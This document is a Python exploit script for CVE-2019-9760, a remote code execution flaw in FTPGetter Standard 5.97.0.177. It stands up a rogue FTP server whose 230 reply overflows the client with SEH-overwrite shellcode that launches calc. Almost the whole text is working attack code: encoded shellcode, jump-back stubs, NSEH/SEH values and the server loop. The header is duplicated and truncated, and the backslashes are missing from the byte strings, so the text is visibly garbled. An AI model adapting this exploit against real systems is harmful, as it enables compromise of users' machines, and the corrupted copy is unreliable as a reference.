# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution
# Date: 05/03/2019
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5
# Vendor Homepage: https # Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution
# Date: 05/03/2019
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5
# Vendor Homepage: https://www.ftpgetter.com
# Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe
# Version: v.5.97.0.177
# Tested on: Windows 7 x64
# CVE : CVE-2019-9760


import socket
import struct
import time
import sys

# badchars = (
# "x59x5ax5bx5cx00x0ax0dx20x40x1ax80x82x83x84x85x86x87"
# "x88x89x8ax8bx8cx8ex91x92x93x94x95x96x97x98x99x9ax9b"
# "x9cx9ex9fxc0xc1" .....
# )

# x86/alpha_mixed simple fixer -> bytes "x89xe3xd9xe1xd9x73xf4"
calc = ""
calc += "x54" # push esp
calc += "x58" # pop eax
calc += "x05x43x06x00x00" # add eax,0x643
calc += "x50" # push eax
calc += "x5f" # pop edi
calc += "x25x4Ax4Dx4Ex55" # zerout EAX
calc += "x25x35x32x31x2A" # zerout EAX
calc += "x04xab" # ADD AL,0xab
calc += "x31x07" # XOR DWORD PTR DS:[EDI],EAX
calc += "x31x47x01" # XOR DWORD PTR DS:[EDI+1],EAX
calc += "x31x47x02" # XOR DWORD PTR DS:[EDI+2],EAX
calc += "x2Cx5B" # SUB AL,0x5b -> EAX = 0x50
calc += "x31x47x03" # XOR DWORD PTR DS:[EDI+3],EAX
calc += "x31x47x04" # XOR DWORD PTR DS:[EDI+4],EAX
calc += "x90x90x90x90" # padding

# "x89xe3"
calc += "x54" # push esp
calc += "x5b" # pop ebx

# "xd9xe1xd9" xored: 0xab
calc += "x72x4ax72"

# x73xf4 xored: 0x50
calc += "x23xa4"

calc += "x58x50x59x49x49x49"
calc += "x49x43x43x43x43x43x43x51x5ax56x54x58x33"
calc += "x30x56x58x34x41x50x30x41x33x48x48x30x41"
calc += "x30x30x41x42x41x41x42x54x41x41x51x32x41"
calc += "x42x32x42x42x30x42x42x58x50x38x41x43x4a"
calc += "x4ax49x58x59x48x4bx4fx4ex48x39x47x53x45"
calc += "x37x56x51x38x59x32x54x51x34x5ax54x51x4a"
calc += "x51x39x4fx39x58x31x45x43x56x51x53x42x35"
calc += "x49x4bx33x48x42x55x54x45x53x43x42x45x45"
calc += "x31x4bx58x56x50x56x4dx33x39x59x32x51x4a"
calc += "x5ax32x42x4bx31x4dx32x43x45x4bx32x44x4b"
calc += "x4ex53x4dx31x49x50x38x59x34x4bx55x31x49"
calc += "x30x54x51x5ax47x55x53x57x31x4dx54x53x4c"
calc += "x59x4bx49x42x49x38x4dx4ax5ax37x4fx4ax33"
calc += "x58x34x50x4bx4bx51x4bx5ax48x4ex4dx42x50"
calc += "x53x4bx46x48x4ex53x4bx36x35x58x42x44x4e"
calc += "x4cx30x52x54x4ex4cx4dx59x4dx46x4dx37x4c"
calc += "x37x4cx4fx50x4bx4cx4fx4cx4cx42x57x53x49"
calc += "x38x58x57x4dx44x32x4ex57x53x38x59x5ax43"
calc += "x33x35x49x44x43x35x4cx32x45x4bx5ax49x35"
calc += "x59x51x4ax35x4cx50x39x4fx4dx41x41"

# Encode addresses and create jmp esp
# Calculate jmp esp offset and put it on stack
jump_back = "x55" # push ebp
jump_back += "x58" # pop eax
jump_back += "x05x2bx08x00x00" # add eax,2091
jump_back += "x50" # push eax

# zerout EAX
jump_back += "x25x4Ax4Dx4Ex55" # and eax, 0x554e4d4a
jump_back += "x25x35x32x31x2A" # and eax, 0x2a313235

jump_back += "x3Ex33x04x24" # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX
jump_back += "x50" # push eax
jump_back += "x5f" # pop edi

# zerout EAX
jump_back += "x25x4Ax4Dx4Ex55" # and eax, 0x554e4d4a
jump_back += "x25x35x32x31x2A" # and eax, 0x2a313235

jump_back += "x04x81" # ADD AL,0x81
jump_back += "x31x07" # XOR DWORD PTR DS:[EDI],EAX
jump_back += "x31x47x01" # XOR DWORD PTR DS:[EDI+1],EAX
jump_back += "x90x90x90x90" # padding

# Tool utilized: https://github.com/ihack4falafel/Slink
# All rights reserved to ihack4falafel
#
# x54x58x66x05x04x06x50xc3
jump_back += "x25x4Ax4Dx4Ex55" # and eax, 0x554e4d4a
jump_back += "x25x35x32x31x2A" # and eax, 0x2a313235
jump_back += "x05x02x03x30x62" # add eax, 0x62300302
jump_back += "x05x02x03x20x61" # add eax, 0x61200302
jump_back += "x50" # push eax
jump_back += "x25x4Ax4Dx4Ex55" # and eax, 0x554e4d4a
jump_back += "x25x35x32x31x2A" # and eax, 0x2a313235
jump_back += "x05x32x34x33x03" # add eax, 0x03333432
jump_back += "x05x22x24x33x02" # add eax, 0x02332422
jump_back += "x50" # push eax

# jump to second shellcode
jump_back += "x7ex65" # jmp esp xored: 0x81

# Overflow size 493
payload = "x90" * 29
payload += calc # shellcode
payload += "x90" * (493 - len(payload)) # padding
payload += "x7ex06x90x90" # NSEH
payload += "x31x20x77x00" # SEH -> POP ESI # POP EBX # RETN
payload += "x90x90x90x90"
payload += jump_back # jump to our calc
payload += "x90" * 700 # Final padding

try:
host, port = "0.0.0.0", 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, int(port)))
s.listen(5)
print "[*] Listening server at port: {}".format(port)
print "[*] Waiting for the client!.."

except Exception as e:
print "[-] Failed attempt to create bind socket!"
sys.exit(0)

try:
conn, client = s.accept()
conn.send("220 Welcome to server ! ")
conn.recv(1024)

print "[+] User started communication with server!"
conn.send("331 anonymous OK! ")
conn.recv(1024)
print "[+] Received anonymous user from the client!"

print "[*] CALC shellcode Length: " + str(len(calc))
print "[*] Jump Back shellcode Length: " + str(len(jump_back))
print "[*] Payload final size: " + str(len(payload))
print "[!] Attempting to send payload!..."
conn.send("230 " + payload + " ")

time.sleep(1)
print "[+] You should have your poped calc!"

conn.close()
s.close()
except:
print "[-] Failed attempt to send payload!"
sys.exit(0)